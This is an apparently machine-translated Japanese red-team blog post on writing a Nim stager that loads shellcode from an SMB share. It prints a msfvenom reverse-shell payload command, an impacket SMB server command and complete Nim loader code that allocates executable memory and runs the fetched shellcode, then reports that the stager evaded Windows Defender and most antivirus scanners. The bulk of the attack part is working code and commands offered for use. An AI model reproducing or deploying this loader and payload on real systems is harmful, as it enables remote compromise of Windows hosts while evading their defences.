Nim での SMB ステージャーの開発
こんにちは、レッドチームの皆さん。私は最近、攻撃的なコーディングについて Nim と連絡を取り始めました。正直に言うと、難しくて奇妙だと思いますが、うまくいきます!
現在、テスト時に Windows Defender をバイパスして、単純な SMB ステージャーを開発しています。
読むよりもビデオを見たい場合は、完全なビデオをここで見つけることができます。https://youtu.be/qq-S2syksL0
また、オープンな Discord に参加してサイバーセキュリティの知識と経験を共有することに興味がある場合は、歓迎します。https://discord.gg/dWCe5ZMvtQ
行こう
理論は非常に単純です。アイデアは、ファイルへのシェルコードの書き込みを回避し、署名ベースの検出をバイパスし、ヒューリスティックにも役立ちます。最初は HTTP でシェルコードをダウンロードしようとしましたが、多くの問題に出くわし、自分で解決できませんでした。その後、方法論がわずかに変更されました。HTTP からダウンロードする代わりに、ペイロードは SMB 共有でホストされ、そこから直接読み取られます。
msfvenom ステージレス ペイロードを使用しました
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin
impacket-smbserver smb . -ts -debug -smb2support
import winim/lean
var filename = "\\\\192.168.153.128\\smb\\code.bin"
var file: File = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close
echo shellcode
echo fileSize
echo sizeof(shellcode)
type
buf* = LPVOID
var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()
まず、Windows カーネル ライブラリをインポートして、Windows API を呼び出せるようにする必要があります。
import winim/lean
var filename = "\\\\192.168.153.128\\smb\\code.bin"
var file: File = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close
type
buf* = LPVOID
var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()
テストタイム!
2つのテストを実行しました。最初の 1 つは、Defender UP および RUNNING を使用した Windows 10 クライアントに対するものです。2 つ目は、antiscan.me インターフェイスに対するものです。
Nim Stager vs Windows Defender
テスト 1 は、ステージャーをファイルシステムにドロップすることから始まります。これまでのところ、何もトリガーされていません。つまり、署名ベースの検出をうまく回避できたことを意味します。それでは、実行して観察しましょう。
ステージャーは問題なく動作することが判明しました。ここで奇妙なことに、Defender はトリガーされましたが、シェルは強制終了されませんでした。
このシェルを数分間実行しましたが、完全に機能していました。私は個人的に、ディフェンダーがなぜそれを殺さなかったのか手がかりがありません。答えを知っていれば、共有していただければ幸いです.
Nim Stager vs Antiscanme
誤解しないでいただきたいのですが、antiscanme は優れていますが、stager をテストする場合、有効な結果を提示する方法が実際にはありません。表示される結果は、実際のシェルコードをダウンロードするネットワークの可能性がないため、シグネチャ ベースの検出にしっかりと基づいています。より多くの AV ベンダーが実際のテストでそれを確認することを期待していますが、これは良い「最初のステップ」です。
ステージャーをアップロードした後、4/26 ベンダーのみがそれをキャッチできました。
トリガーは、ベンダーが Windows API 呼び出しを読み取ることに基づいているため、悪意のあるものとしてカウントされていると思います。もちろん、何がうまくいかなかったのかを正確にテストするには、非常に多くのテストを実行する必要があります。それが今のところの私の理論です。
結論
Nim で遊ぶのは楽しいし、単純にステージングするだけで得られる結果は驚くべきものです。もちろん、実行できるより高度な AV バイパス技術がありますが、将来的にはそれを行う予定です。そのコンテンツが役に立ち、何か新しいことを学んだことを願っています。